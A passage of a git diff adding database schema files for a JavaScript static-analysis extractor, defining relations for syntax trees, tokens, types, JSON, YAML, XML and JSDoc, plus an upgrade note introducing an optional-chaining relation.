@regexp_backref +| 23 = @regexp_char_class +| 24 = @regexp_char_range +| 25 = @regexp_positive_lookbehind +| 26 = @regexp_negative_lookbehind +| 27 = @regexp_unicode_property_escape; + +regexpParseErrors (unique int id: @regexp_parse_error, + int regexp: @regexpterm ref, + varchar(900) message: string ref); + +@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range; +@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape; +@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape; +@regexp_constant = @regexp_normal_char | @regexp_char_escape; +@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead; +@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind; +@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind; + +isGreedy (int id: @regexp_quantifier ref); +rangeQuantifierLowerBound (unique int id: @regexp_range ref, int lo: int ref); +rangeQuantifierUpperBound (unique int id: @regexp_range ref, int hi: int ref); +isCapture (unique int id: @regexp_group ref, int number: int ref); +isNamedCapture (unique int id: @regexp_group ref, string name: string ref); +isInverted (int id: @regexp_char_class ref); +regexpConstValue (unique int id: @regexp_constant ref, varchar(1) value: string ref); +charClassEscape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref); +backref (unique int id: @regexp_backref ref, int value: int ref); +namedBackref (unique int id: @regexp_backref ref, string name: string ref); +unicodePropertyEscapeName (unique int id: @regexp_unicode_property_escape ref, string name: string ref); +unicodePropertyEscapeValue (unique int id: @regexp_unicode_property_escape ref, string value: string ref); + +// tokens +#keyset[toplevel, idx] +tokeninfo (unique int id: @token, + int kind: int ref, + int toplevel: @toplevel ref, + int idx: int ref, + varchar(900) value: string ref); + +case @token.kind of + 0 = @token_eof +| 1 = @token_null_literal +| 2 = @token_boolean_literal +| 3 = @token_numeric_literal +| 4 = @token_string_literal +| 5 = @token_regular_expression +| 6 = @token_identifier +| 7 = @token_keyword +| 8 = @token_punctuator; + +// associate comments with the token immediately following them (which may be EOF) +next_token (int comment: @comment ref, int token: @token ref); + +// JSON +#keyset[parent, idx] +json (unique int id: @json_value, + int kind: int ref, + int parent: @json_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +json_literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @json_value ref); + +json_properties (int obj: @json_object ref, + varchar(900) property: string ref, + int value: @json_value ref); + +json_errors (unique int id: @json_parse_error, + varchar(900) message: string ref); + +case @json_value.kind of + 0 = @json_null +| 1 = @json_boolean +| 2 = @json_number +| 3 = @json_string +| 4 = @json_array +| 5 = @json_object; + +@json_parent = @json_object | @json_array | @file; + +// locations +@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr; + +@locatable = @file + | @ast_node + | @comment + | @line + | @js_parse_error | @regexp_parse_error | @json_parse_error + | @regexpterm + | @json_value + | @token + | @cfg_node + | @jsdoc | @jsdoc_type_expr | @jsdoc_tag + | @yaml_node | @yaml_error + | @xmllocatable; + +hasLocation (unique int locatable: @locatable ref, + int location: @location ref); + +// CFG +entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref); +exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref); +guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref); +case @guard_node.kind of + 0 = @falsy_guard +| 1 = @truthy_guard; +@condition_guard = @falsy_guard | @truthy_guard; + +@synthetic_cfg_node = @entry_node | @exit_node | @guard_node; +@cfg_node = @synthetic_cfg_node | @exprparent; + +successor (int pred: @cfg_node ref, int succ: @cfg_node ref); + +// JSDoc comments +jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref); +#keyset[parent, idx] +jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref, + int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref); +jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); +jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); + +#keyset[parent, idx] +jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + int kind: int ref, + int parent: @jsdoc_type_expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); +case @jsdoc_type_expr.kind of + 0 = @jsdoc_any_type_expr +| 1 = @jsdoc_null_type_expr +| 2 = @jsdoc_undefined_type_expr +| 3 = @jsdoc_unknown_type_expr +| 4 = @jsdoc_void_type_expr +| 5 = @jsdoc_named_type_expr +| 6 = @jsdoc_applied_type_expr +| 7 = @jsdoc_nullable_type_expr +| 8 = @jsdoc_non_nullable_type_expr +| 9 = @jsdoc_record_type_expr +| 10 = @jsdoc_array_type_expr +| 11 = @jsdoc_union_type_expr +| 12 = @jsdoc_function_type_expr +| 13 = @jsdoc_optional_type_expr +| 14 = @jsdoc_rest_type_expr +; + +#keyset[id, idx] +jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref); +jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref); +jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref); + +@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag; + +jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref); + +// YAML +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + varchar(900) tag: string ref, + varchar(900) tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + varchar(900) anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + varchar(900) target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + varchar(900) value: string ref); + +yaml_errors (unique int id: @yaml_error, + varchar(900) message: string ref); + +/* XML Files */ + +xmlEncoding( + unique int id: @file ref, + varchar(900) encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + varchar(900) root: string ref, + varchar(900) publicId: string ref, + varchar(900) systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + varchar(900) name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + varchar(900) name: string ref, + varchar(3600) value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + varchar(900) prefixName: string ref, + varchar(900) URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +@dataflownode = @expr | @functiondeclstmt | @classdeclstmt | @namespacedeclaration | @enumdeclaration | @property; + +@optionalchainable = @callexpr | @propaccess; + +isOptionalChaining(int id: @optionalchainable ref); + +/* Last updated 2018/10/22. */ diff --git a/javascript/upgrades/6486c78671c40e4dc07932d806366f09051bb399/upgrade.properties b/javascript/upgrades/6486c78671c40e4dc07932d806366f09051bb399/upgrade.properties new file mode 100644 index 00000000000..f0904d194e1 --- /dev/null +++ b/javascript/upgrades/6486c78671c40e4dc07932d806366f09051bb399/upgrade.properties @@ -0,0 +1,2 @@ +description: 'introduce @isOptionalChaining' +compatibility: backwards \ No newline at end of file diff --git a/javascript/upgrades/81e6619c681f7844e8ddc38db102e75b428c830c/old.dbscheme b/javascript/upgrades/81e6619c681f7844e8ddc38db102e75b428c830c/old.dbscheme new file mode 100644 index 00000000000..81e6619c681 --- /dev/null +++ b/javascript/upgrades/81e6619c681f7844e8ddc38db102e75b428c830c/old.dbscheme @@ -0,0 +1,1084 @@ +/*** Standard fragments ***/ + +/** Files and folders **/ + +@location = @location_default; + +locations_default(unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref + ); + +@sourceline = @locatable; + +numlines(int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref + ); + + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files(unique int id: @file, + varchar(900) name: string ref, + varchar(900) simple: string ref, + varchar(900) ext: string ref, + int fromSource: int ref); + +folders(unique int id: @folder, + varchar(900) name: string ref, + varchar(900) simple: string ref); + + +@container = @folder | @file ; + + +containerparent(int parent: @container ref, + unique int child: @container ref); + +/** Duplicate code **/ + +duplicateCode( + unique int id : @duplication, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +similarCode( + unique int id : @similarity, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +@duplication_or_similarity = @duplication | @similarity; + +tokens( + int id : @duplication_or_similarity ref, + int offset : int ref, + int beginLine : int ref, + int beginColumn : int ref, + int endLine : int ref, + int endColumn : int ref); + +/** External data **/ + +externalData( + int id : @externalDataElement, + varchar(900) path : string ref, + int column: int ref, + varchar(900) value : string ref +); + +snapshotDate(unique date snapshotDate : date ref); + +sourceLocationPrefix(varchar(900) prefix : string ref); + +/** Version control data **/ + +svnentries( + int id : @svnentry, + varchar(500) revision : string ref, + varchar(500) author : string ref, + date revisionDate : date ref, + int changeSize : int ref +); + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + varchar(500) action : string ref +); + +svnentrymsg( + int id : @svnentry ref, + varchar(500) message : string ref +); + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +); + + +/*** JavaScript-specific part ***/ + +filetype( + int file: @file ref, + string filetype: string ref +) + +// top-level code fragments +toplevels (unique int id: @toplevel, + int kind: int ref); + +isExterns (int toplevel: @toplevel ref); + +case @toplevel.kind of + 0 = @script +| 1 = @inline_script +| 2 = @event_handler +| 3 = @javascript_url; + +isModule (int tl: @toplevel ref); +isNodejs (int tl: @toplevel ref); + +// statements +#keyset[parent, idx] +stmts (unique int id: @stmt, + int kind: int ref, + int parent: @stmtparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +stmtContainers (unique int stmt: @stmt ref, + int container: @stmt_container ref); + +jumpTargets (unique int jump: @stmt ref, + int target: @stmt ref); + +@stmtparent = @stmt | @toplevel | @functionexpr | @arrowfunctionexpr; +@stmt_container = @toplevel | @function | @namespacedeclaration | @externalmoduledeclaration | @globalaugmentationdeclaration; + +case @stmt.kind of + 0 = @emptystmt +| 1 = @blockstmt +| 2 = @exprstmt +| 3 = @ifstmt +| 4 = @labeledstmt +| 5 = @breakstmt +| 6 = @continuestmt +| 7 = @withstmt +| 8 = @switchstmt +| 9 = @returnstmt +| 10 = @throwstmt +| 11 = @trystmt +| 12 = @whilestmt +| 13 = @dowhilestmt +| 14 = @forstmt +| 15 = @forinstmt +| 16 = @debuggerstmt +| 17 = @functiondeclstmt +| 18 = @vardeclstmt +| 19 = @case +| 20 = @catchclause +| 21 = @forofstmt +| 22 = @constdeclstmt +| 23 = @letstmt +| 24 = @legacy_letstmt +| 25 = @foreachstmt +| 26 = @classdeclstmt +| 27 = @importdeclaration +| 28 = @exportalldeclaration +| 29 = @exportdefaultdeclaration +| 30 = @exportnameddeclaration +| 31 = @namespacedeclaration +| 32 = @importequalsdeclaration +| 33 = @exportassigndeclaration +| 34 = @interfacedeclaration +| 35 = @typealiasdeclaration +| 36 = @enumdeclaration +| 37 = @externalmoduledeclaration +| 38 = @exportasnamespacedeclaration +| 39 = @globalaugmentationdeclaration +; + +@declstmt = @vardeclstmt | @constdeclstmt | @letstmt | @legacy_letstmt; + +@exportdeclaration = @exportalldeclaration | @exportdefaultdeclaration | @exportnameddeclaration; + +@namespacedefinition = @namespacedeclaration | @enumdeclaration; +@typedefinition = @classdefinition | @interfacedeclaration | @enumdeclaration | @typealiasdeclaration | @enum_member; + +isInstantiated(unique int decl: @namespacedeclaration ref); + +@declarablestmt = @declstmt | @namespacedeclaration | @classdeclstmt | @functiondeclstmt | @enumdeclaration | @externalmoduledeclaration | @globalaugmentationdeclaration; +hasDeclareKeyword(unique int stmt: @declarablestmt ref); + +isForAwaitOf(unique int forof: @forofstmt ref); + +// expressions +#keyset[parent, idx] +exprs (unique int id: @expr, + int kind: int ref, + int parent: @exprparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @exprortype ref); + +enclosingStmt (unique int expr: @exprortype ref, + int stmt: @stmt ref); + +exprContainers (unique int expr: @exprortype ref, + int container: @stmt_container ref); + +arraySize (unique int ae: @arraylike ref, + int sz: int ref); + +isDelegating (int yield: @yieldexpr ref); + +@exprorstmt = @expr | @stmt; +@exprortype = @expr | @typeexpr; +@exprparent = @exprorstmt | @property | @functiontypeexpr; +@arraylike = @arrayexpr | @arraypattern; + +case @expr.kind of + 0 = @label +| 1 = @nullliteral +| 2 = @booleanliteral +| 3 = @numberliteral +| 4 = @stringliteral +| 5 = @regexpliteral +| 6 = @thisexpr +| 7 = @arrayexpr +| 8 = @objexpr +| 9 = @functionexpr +| 10 = @seqexpr +| 11 = @conditionalexpr +| 12 = @newexpr +| 13 = @callexpr +| 14 = @dotexpr +| 15 = @indexexpr +| 16 = @negexpr +| 17 = @plusexpr +| 18 = @lognotexpr +| 19 = @bitnotexpr +| 20 = @typeofexpr +| 21 = @voidexpr +| 22 = @deleteexpr +| 23 = @eqexpr +| 24 = @neqexpr +| 25 = @eqqexpr +| 26 = @neqqexpr +| 27 = @ltexpr +| 28 = @leexpr +| 29 = @gtexpr +| 30 = @geexpr +| 31 = @lshiftexpr +| 32 = @rshiftexpr +| 33 = @urshiftexpr +| 34 = @addexpr +| 35 = @subexpr +| 36 = @mulexpr +| 37 = @divexpr +| 38 = @modexpr +| 39 = @bitorexpr +| 40 = @xorexpr +| 41 = @bitandexpr +| 42 = @inexpr +| 43 = @instanceofexpr +| 44 = @logandexpr +| 45 = @logorexpr +| 47 = @assignexpr +| 48 = @assignaddexpr +| 49 = @assignsubexpr +| 50 = @assignmulexpr +| 51 = @assigndivexpr +| 52 = @assignmodexpr +| 53 = @assignlshiftexpr +| 54 = @assignrshiftexpr +| 55 = @assignurshiftexpr +| 56 = @assignorexpr +| 57 = @assignxorexpr +| 58 = @assignandexpr +| 59 = @preincexpr +| 60 = @postincexpr +| 61 = @predecexpr +| 62 = @postdecexpr +| 63 = @parexpr +| 64 = @vardeclarator +| 65 = @arrowfunctionexpr +| 66 = @spreadelement +| 67 = @arraypattern +| 68 = @objectpattern +| 69 = @yieldexpr +| 70 = @taggedtemplateexpr +| 71 = @templateliteral +| 72 = @templateelement +| 73 = @arraycomprehensionexpr +| 74 = @generatorexpr +| 75 = @forincomprehensionblock +| 76 = @forofcomprehensionblock +| 77 = @legacy_letexpr +| 78 = @vardecl +| 79 = @proper_varaccess +| 80 = @classexpr +| 81 = @superexpr +| 82 = @newtargetexpr +| 83 = @namedimportspecifier +| 84 = @importdefaultspecifier +| 85 = @importnamespacespecifier +| 86 = @namedexportspecifier +| 87 = @expexpr +| 88 = @assignexpexpr +| 89 = @jsxelement +| 90 = @jsxqualifiedname +| 91 = @jsxemptyexpr +| 92 = @awaitexpr +| 93 = @functionsentexpr +| 94 = @decorator +| 95 = @exportdefaultspecifier +| 96 = @exportnamespacespecifier +| 97 = @bindexpr +| 98 = @externalmodulereference +| 99 = @dynamicimport +| 100 = @expressionwithtypearguments +| 101 = @prefixtypeassertion +| 102 = @astypeassertion +| 103 = @export_varaccess +| 104 = @decorator_list +| 105 = @non_null_assertion +| 106 = @bigintliteral +; + +@varaccess = @proper_varaccess | @export_varaccess; +@varref = @vardecl | @varaccess; + +@identifier = @label | @varref | @typeidentifier; + +@literal = @nullliteral | @booleanliteral | @numberliteral | @stringliteral | @regexpliteral | @bigintliteral; + +@propaccess = @dotexpr | @indexexpr; + +@invokeexpr = @newexpr | @callexpr; + +@unaryexpr = @negexpr | @plusexpr | @lognotexpr | @bitnotexpr | @typeofexpr | @voidexpr | @deleteexpr | @spreadelement; + +@equalitytest = @eqexpr | @neqexpr | @eqqexpr | @neqqexpr; + +@comparison = @equalitytest | @ltexpr | @leexpr | @gtexpr | @geexpr; + +@binaryexpr = @comparison | @lshiftexpr | @rshiftexpr | @urshiftexpr | @addexpr | @subexpr | @mulexpr | @divexpr | @modexpr | @expexpr | @bitorexpr | @xorexpr | @bitandexpr | @inexpr | @instanceofexpr | @logandexpr | @logorexpr; + +@assignment = @assignexpr | @assignaddexpr | @assignsubexpr | @assignmulexpr | @assigndivexpr | @assignmodexpr | @assignexpexpr | @assignlshiftexpr | @assignrshiftexpr | @assignurshiftexpr | @assignorexpr | @assignxorexpr | @assignandexpr; + +@updateexpr = @preincexpr | @postincexpr | @predecexpr | @postdecexpr; + +@pattern = @varref | @arraypattern | @objectpattern; + +@comprehensionexpr = @arraycomprehensionexpr | @generatorexpr; + +@comprehensionblock = @forincomprehensionblock | @forofcomprehensionblock; + +@importspecifier = @namedimportspecifier | @importdefaultspecifier | @importnamespacespecifier; + +@exportspecifier = @namedexportspecifier | @exportdefaultspecifier | @exportnamespacespecifier; + +@typeassertion = @astypeassertion | @prefixtypeassertion; + +@classdefinition = @classdeclstmt | @classexpr; +@interfacedefinition = @interfacedeclaration | @interfacetypeexpr; +@classorinterface = @classdefinition | @interfacedefinition; + +@lexical_decl = @vardecl | @typedecl; +@lexical_access = @varaccess | @localtypeaccess | @localvartypeaccess | @localnamespaceaccess; +@lexical_ref = @lexical_decl | @lexical_access; + +// scopes +scopes (unique int id: @scope, + int kind: int ref); + +case @scope.kind of + 0 = @globalscope +| 1 = @functionscope +| 2 = @catchscope +| 3 = @modulescope +| 4 = @blockscope +| 5 = @forscope +| 6 = @forinscope // for-of scopes work the same as for-in scopes +| 7 = @comprehensionblockscope +| 8 = @classexprscope +| 9 = @namespacescope +| 10 = @classdeclscope +| 11 = @interfacescope +| 12 = @typealiasscope +| 13 = @mappedtypescope +| 14 = @enumscope +| 15 = @externalmodulescope +| 16 = @conditionaltypescope; + +scopenodes (unique int node: @ast_node ref, + int scope: @scope ref); + +scopenesting (unique int inner: @scope ref, + int outer: @scope ref); + +// functions +@function = @functiondeclstmt | @functionexpr | @arrowfunctionexpr; + +@parameterized = @function | @catchclause; +@type_parameterized = @function | @classorinterface | @typealiasdeclaration | @mappedtypeexpr | @infertypeexpr; + +isGenerator (int fun: @function ref); +hasRestParameter (int fun: @function ref); +isAsync (int fun: @function ref); + +// variables and lexically scoped type names +#keyset[scope, name] +variables (unique int id: @variable, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_type_names (unique int id: @local_type_name, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_namespace_names (unique int id: @local_namespace_name, + varchar(900) name: string ref, + int scope: @scope ref); + +isArgumentsObject (int id: @variable ref); + +@lexical_name = @variable | @local_type_name | @local_namespace_name; + +@bind_id = @varaccess | @localvartypeaccess; +bind (unique int id: @bind_id ref, + int decl: @variable ref); + +decl (unique int id: @vardecl ref, + int decl: @variable ref); + +@typebind_id = @localtypeaccess | @export_varaccess; +typebind (unique int id: @typebind_id ref, + int decl: @local_type_name ref); + +@typedecl_id = @typedecl | @vardecl; +typedecl (unique int id: @typedecl_id ref, + int decl: @local_type_name ref); + +namespacedecl (unique int id: @vardecl ref, + int decl: @local_namespace_name ref); + +@namespacebind_id = @localnamespaceaccess | @export_varaccess; +namespacebind (unique int id: @namespacebind_id ref, + int decl: @local_namespace_name ref); + + +// properties in object literals, property patterns in object patterns, and method declarations in classes +#keyset[parent, index] +properties (unique int id: @property, + int parent: @property_parent ref, + int index: int ref, + int kind: int ref, + varchar(900) tostring: string ref); + +case @property.kind of + 0 = @value_property +| 1 = @property_getter +| 2 = @property_setter +| 3 = @jsx_attribute +| 4 = @function_call_signature +| 5 = @constructor_call_signature +| 6 = @index_signature +| 7 = @enum_member +| 8 = @proper_field +| 9 = @parameter_field +; + +@property_parent = @objexpr | @objectpattern | @classdefinition | @jsxelement | @interfacedefinition | @enumdeclaration; +@property_accessor = @property_getter | @property_setter; +@call_signature = @function_call_signature | @constructor_call_signature; +@field = @proper_field | @parameter_field; +@field_or_vardeclarator = @field | @vardeclarator; + +isComputed (int id: @property ref); +isMethod (int id: @property ref); +isStatic (int id: @property ref); +isAbstractMember (int id: @property ref); +isConstEnum (int id: @enumdeclaration ref); +isAbstractClass (int id: @classdeclstmt ref); + +hasPublicKeyword (int id: @property ref); +hasPrivateKeyword (int id: @property ref); +hasProtectedKeyword (int id: @property ref); +hasReadonlyKeyword (int id: @property ref); +isOptionalMember (int id: @property ref); +hasDefiniteAssignmentAssertion (int id: @field_or_vardeclarator ref); + +#keyset[constructor, param_index] +parameter_fields( + unique int field: @parameter_field ref, + int constructor: @functionexpr ref, + int param_index: int ref +); + +// types +#keyset[parent, idx] +typeexprs ( + unique int id: @typeexpr, + int kind: int ref, + int parent: @typeexpr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref +); + +case @typeexpr.kind of + 0 = @localtypeaccess +| 1 = @typedecl +| 2 = @keywordtypeexpr +| 3 = @stringliteraltypeexpr +| 4 = @numberliteraltypeexpr +| 5 = @booleanliteraltypeexpr +| 6 = @arraytypeexpr +| 7 = @uniontypeexpr +| 8 = @indexedaccesstypeexpr +| 9 = @intersectiontypeexpr +| 10 = @parenthesizedtypeexpr +| 11 = @tupletypeexpr +| 12 = @keyoftypeexpr +| 13 = @qualifiedtypeaccess +| 14 = @generictypeexpr +| 15 = @typelabel +| 16 = @typeoftypeexpr +| 17 = @localvartypeaccess +| 18 = @qualifiedvartypeaccess +| 19 = @thisvartypeaccess +| 20 = @istypeexpr +| 21 = @interfacetypeexpr +| 22 = @typeparameter +| 23 = @plainfunctiontypeexpr +| 24 = @constructortypeexpr +| 25 = @localnamespaceaccess +| 26 = @qualifiednamespaceaccess +| 27 = @mappedtypeexpr +| 28 = @conditionaltypeexpr +| 29 = @infertypeexpr +| 30 = @importtypeaccess +| 31 = @importnamespaceaccess +| 32 = @importvartypeaccess +| 33 = @optionaltypeexpr +| 34 = @resttypeexpr +; + +@typeref = @typeaccess | @typedecl; +@typeidentifier = @typedecl | @localtypeaccess | @typelabel | @localvartypeaccess | @localnamespaceaccess; +@typeexpr_parent = @expr | @stmt | @property | @typeexpr; +@literaltypeexpr = @stringliteraltypeexpr | @numberliteraltypeexpr | @booleanliteraltypeexpr; +@typeaccess = @localtypeaccess | @qualifiedtypeaccess | @importtypeaccess; +@vartypeaccess = @localvartypeaccess | @qualifiedvartypeaccess | @thisvartypeaccess | @importvartypeaccess; +@namespaceaccess = @localnamespaceaccess | @qualifiednamespaceaccess | @importnamespaceaccess; +@importtypeexpr = @importtypeaccess | @importnamespaceaccess | @importvartypeaccess; + +@functiontypeexpr = @plainfunctiontypeexpr | @constructortypeexpr; + +// types +types ( + unique int id: @type, + int kind: int ref, + varchar(900) tostring: string ref +); + +#keyset[parent, idx] +type_child ( + int child: @type ref, + int parent: @type ref, + int idx: int ref +); + +case @type.kind of + 0 = @anytype +| 1 = @stringtype +| 2 = @numbertype +| 3 = @uniontype +| 4 = @truetype +| 5 = @falsetype +| 6 = @typereference +| 7 = @objecttype +| 8 = @canonicaltypevariabletype +| 9 = @typeoftype +| 10 = @voidtype +| 11 = @undefinedtype +| 12 = @nulltype +| 13 = @nevertype +| 14 = @plainsymboltype +| 15 = @uniquesymboltype +| 16 = @objectkeywordtype +| 17 = @intersectiontype +| 18 = @tupletype +| 19 = @lexicaltypevariabletype +| 20 = @thistype +| 21 = @numberliteraltype +| 22 = @stringliteraltype +| 23 = @unknowntype +; + +@booleanliteraltype = @truetype | @falsetype; +@symboltype = @plainsymboltype | @uniquesymboltype; +@unionorintersectiontype = @uniontype | @intersectiontype; +@typevariabletype = @canonicaltypevariabletype | @lexicaltypevariabletype; + +@typed_ast_node = @expr | @typeexpr | @function; +ast_node_type( + unique int node: @typed_ast_node ref, + int typ: @type ref); + +invoke_expr_signature( + unique int node: @invokeexpr ref, + int sig: @signature_type ref +); + +invoke_expr_overload_index( + unique int node: @invokeexpr ref, + int index: int ref +); + +symbols ( + unique int id: @symbol, + int kind: int ref, + varchar(900) name: string ref +); + +symbol_parent ( + unique int symbol: @symbol ref, + int parent: @symbol ref +); + +symbol_module ( + int symbol: @symbol ref, + varchar(900) moduleName: string ref +); + +symbol_global ( + int symbol: @symbol ref, + varchar(900) globalName: string ref +); + +case @symbol.kind of + 0 = @root_symbol +| 1 = @member_symbol +| 2 = @other_symbol +; + +@type_with_symbol = @typereference | @typevariabletype | @typeoftype | @uniquesymboltype; +@ast_node_with_symbol = @typedefinition | @namespacedefinition | @toplevel | @typeaccess | @namespaceaccess | @vardecl | @function | @invokeexpr; + +ast_node_symbol( + unique int node: @ast_node_with_symbol ref, + int symbol: @symbol ref); + +type_symbol( + unique int typ: @type_with_symbol ref, + int symbol: @symbol ref); + +#keyset[typ, name] +type_property( + int typ: @type ref, + varchar(900) name: string ref, + int propertyType: @type ref); + +@literaltype = @stringliteraltype | @numberliteraltype | @booleanliteraltype; +@type_with_literal_value = @stringliteraltype | @numberliteraltype; +type_literal_value( + unique int typ: @type_with_literal_value ref, + varchar(900) value: string ref); + +signature_types ( + unique int id: @signature_type, + int kind: int ref, + varchar(900) tostring: string ref, + int type_parameters: int ref, + int required_params: int ref +); + +case @signature_type.kind of + 0 = @function_signature_type +| 1 = @constructor_signature_type +; + +#keyset[typ, kind, index] +type_contains_signature ( + int typ: @type ref, + int kind: int ref, // constructor/call/index + int index: int ref, // ordering of overloaded signatures + int sig: @signature_type ref +); + +#keyset[parent, index] +signature_contains_type ( + int child: @type ref, + int parent: @signature_type ref, + int index: int ref +); + +#keyset[sig, index] +signature_parameter_name ( + int sig: @signature_type ref, + int index: int ref, + varchar(900) name: string ref +); + +number_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +string_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +base_type_names( + int typeName: @symbol ref, + int baseTypeName: @symbol ref +); + +self_types( + int typeName: @symbol ref, + int selfType: @typereference ref +); + +tuple_type_min_length( + unique int typ: @type ref, + int minLength: int ref +); + +tuple_type_rest( + unique int typ: @type ref +); + +// comments +comments (unique int id: @comment, + int kind: int ref, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(900) tostring: string ref); + +case @comment.kind of + 0 = @slashslashcomment +| 1 = @slashstarcomment +| 2 = @doccomment +| 3 = @htmlcommentstart +| 4 = @htmlcommentend; + +@htmlcomment = @htmlcommentstart | @htmlcommentend; +@linecomment = @slashslashcomment | @htmlcomment; +@blockcomment = @slashstarcomment | @doccomment; + +// source lines +lines (unique int id: @line, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(2) terminator: string ref); +indentation (int file: @file ref, + int lineno: int ref, + varchar(1) indentChar: string ref, + int indentDepth: int ref); + +// JavaScript parse errors +jsParseErrors (unique int id: @js_parse_error, + int toplevel: @toplevel ref, + varchar(900) message: string ref, + varchar(900) line: string ref); + +// regular expressions +#keyset[parent, idx] +regexpterm (unique int id: @regexpterm, + int kind: int ref, + int parent: @regexpparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +@regexpparent = @regexpterm | @regexpliteral; + +case @regexpterm.kind of + 0 = @regexp_alt +| 1 = @regexp_seq +| 2 = @regexp_caret +| 3 = @regexp_dollar +| 4 = @regexp_wordboundary +| 5 = @regexp_nonwordboundary +| 6 = @regexp_positive_lookahead +| 7 = @regexp_negative_lookahead +| 8 = @regexp_star +| 9 = @regexp_plus +| 10 = @regexp_opt +| 11 = @regexp_range +| 12 = @regexp_dot +| 13 = @regexp_group +| 14 = @regexp_normal_char +| 15 = @regexp_hex_escape +| 16 = @regexp_unicode_escape +| 17 = @regexp_dec_escape +| 18 = @regexp_oct_escape +| 19 = @regexp_ctrl_escape +| 20 = @regexp_char_class_escape +| 21 = @regexp_id_escape +| 22 = @regexp_backref +| 23 = @regexp_char_class +| 24 = @regexp_char_range +| 25 = @regexp_positive_lookbehind +| 26 = @regexp_negative_lookbehind +| 27 = @regexp_unicode_property_escape; + +regexpParseErrors (unique int id: @regexp_parse_error, + int regexp: @regexpterm ref, + varchar(900) message: string ref); + +@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range; +@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape; +@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape; +@regexp_constant = @regexp_normal_char | @regexp_char_escape; +@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead; +@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind; +@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind; + +isGreedy (int id: @regexp_quantifier 